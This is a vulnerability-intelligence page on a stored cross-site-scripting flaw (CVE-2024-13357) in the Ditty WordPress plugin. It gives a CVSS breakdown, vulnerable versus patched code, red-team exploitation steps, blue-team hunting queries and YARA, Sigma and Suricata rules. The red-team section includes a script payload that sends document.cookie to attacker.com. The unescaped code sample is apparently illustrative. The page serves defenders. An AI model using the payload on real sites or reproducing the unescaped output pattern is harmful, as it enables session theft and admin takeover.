☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13357

CVE-2024-13357 Cross-Site Scripting in Ditty
📅 PUBLISHED: 2025-05-15 20:07 UTC 🔄 UPDATED: 2026-08-31 07:08 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13357 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ditty WordPress plugin, affecting versions prior to 3.1.52. The vulnerability arises from insufficient sanitization and escaping of certain plugin settings, allowing high-privilege users (e.g., authors) to inject arbitrary web scripts. These scripts execute in the context of other users’ browsers when they view the affected settings page or content. In a multisite WordPress environment, where the unfiltered_html capability is typically disallowed, this flaw bypasses that restriction, enabling privilege escalation and potential site compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Ditty plugin is distributed via the official WordPress Plugin Directory. Users are advised to verify the integrity of the plugin by checking its checksum against the official repository. No known supply chain compromise has been reported for this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Author-level)
  • User Interaction: Required (Admin viewing settings)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access with author privileges, but in multisite setups, this is a common user role. The impact is limited to script execution in the admin context, but can lead to further compromise.

Deep Dive & Mechanics

The vulnerability exists in the Ditty plugin’s settings handling. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and later rendering it in the WordPress admin panel. Specifically, settings fields that accept HTML or rich text are not filtered through WordPress’s wp_kses() or similar functions, allowing an attacker with author-level privileges to inject malicious JavaScript.

Attack Flow:

  1. An attacker with an author account navigates to the Ditty settings page.
  2. The attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized settings field.
  3. The plugin stores the payload in the wp_options table.
  4. When an administrator or other user views the Ditty settings page, the payload is rendered without escaping, executing the script in their browser.
  5. The attacker can then steal cookies, perform actions on behalf of the admin, or deface the site.

Root Cause: Lack of output escaping on settings fields. The plugin uses echo $value; instead of echo esc_html( $value ); or similar.

Vulnerable vs. Patched Code

Vulnerable Code (version < 3.1.52):

// In ditty-admin.php or similar
function ditty_render_setting_field( $field ) {
    $value = get_option( $field['name'] );
    echo '<input type="text" name="' . $field['name'] . '" value="' . $value . '" />';
}

Patched Code (version 3.1.52):

function ditty_render_setting_field( $field ) {
    $value = get_option( $field['name'] );
    echo '<input type="text" name="' . esc_attr( $field['name'] ) . '" value="' . esc_attr( $value ) . '" />';
}

The patch adds esc_attr() to escape the output, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with Ditty plugin < 3.1.52.
  • Author-level account credentials.

Exploitation Steps:

  1. Log in as an author.
  2. Navigate to wp-admin/admin.php?page=ditty-settings.
  3. Locate a text field (e.g., "Custom CSS" or "Header Scripts").
  4. Inject payload: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
  5. Save settings.
  6. Wait for an admin to visit the settings page, or trigger the page yourself to execute the payload.

Note: No public exploit code is available for this CVE.

Blue Team

Detection:

  • Monitor for unusual changes to the wp_options table, specifically options prefixed with ditty_.
  • Look for HTTP requests to wp-admin/admin.php?page=ditty-settings from author-level users.
  • Inspect plugin settings for unexpected script tags.

Hunting:

  • Query the database: SELECT * FROM wp_options WHERE option_name LIKE '%ditty%' AND option_value LIKE '%<script%';
  • Review WordPress audit logs for settings changes by authors.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/ditty/ditty-admin.php (version < 3.1.52)
  • Database: wp_options rows with option_name containing ditty and option_value containing <script> tags.
  • Network: Outbound connections to attacker-controlled domains from the WordPress admin panel.
  • Logs: wp-admin/admin.php?page=ditty-settings accessed by author-level users.

Detection Engineering

YARA Rule

rule Ditty_Stored_XSS_CVE_2024_13357 {
    meta:
        description = "Detects Ditty plugin files vulnerable to CVE-2024-13357"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13357"
    strings:
        $vuln_func = /echo\s+\$value/
        $plugin_header = "Plugin Name: Ditty"
    condition:
        $plugin_header and $vuln_func
}

Sigma Rule

title: Ditty Plugin Stored XSS Detection
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential exploitation of CVE-2024-13357 in Ditty plugin
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'admin.php?page=ditty-settings'
        http.method: 'POST'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in settings
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13357 Ditty Plugin Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin.php?page=ditty-settings"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

  • Upgrade Ditty plugin to version 3.1.52 or later.
  • If upgrade is not possible, disable the plugin temporarily.

Long-term:

  • Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin settings.
  • Restrict author-level users from accessing plugin settings pages via role management.
  • Enable WordPress’s built-in DISALLOW_UNFILTERED_HTML constant in wp-config.php (already default in multisite).

Verification:

  • After patching, confirm the plugin version in wp-admin/plugins.php.
  • Scan the database for any existing malicious payloads using the IOC query above.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13357/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.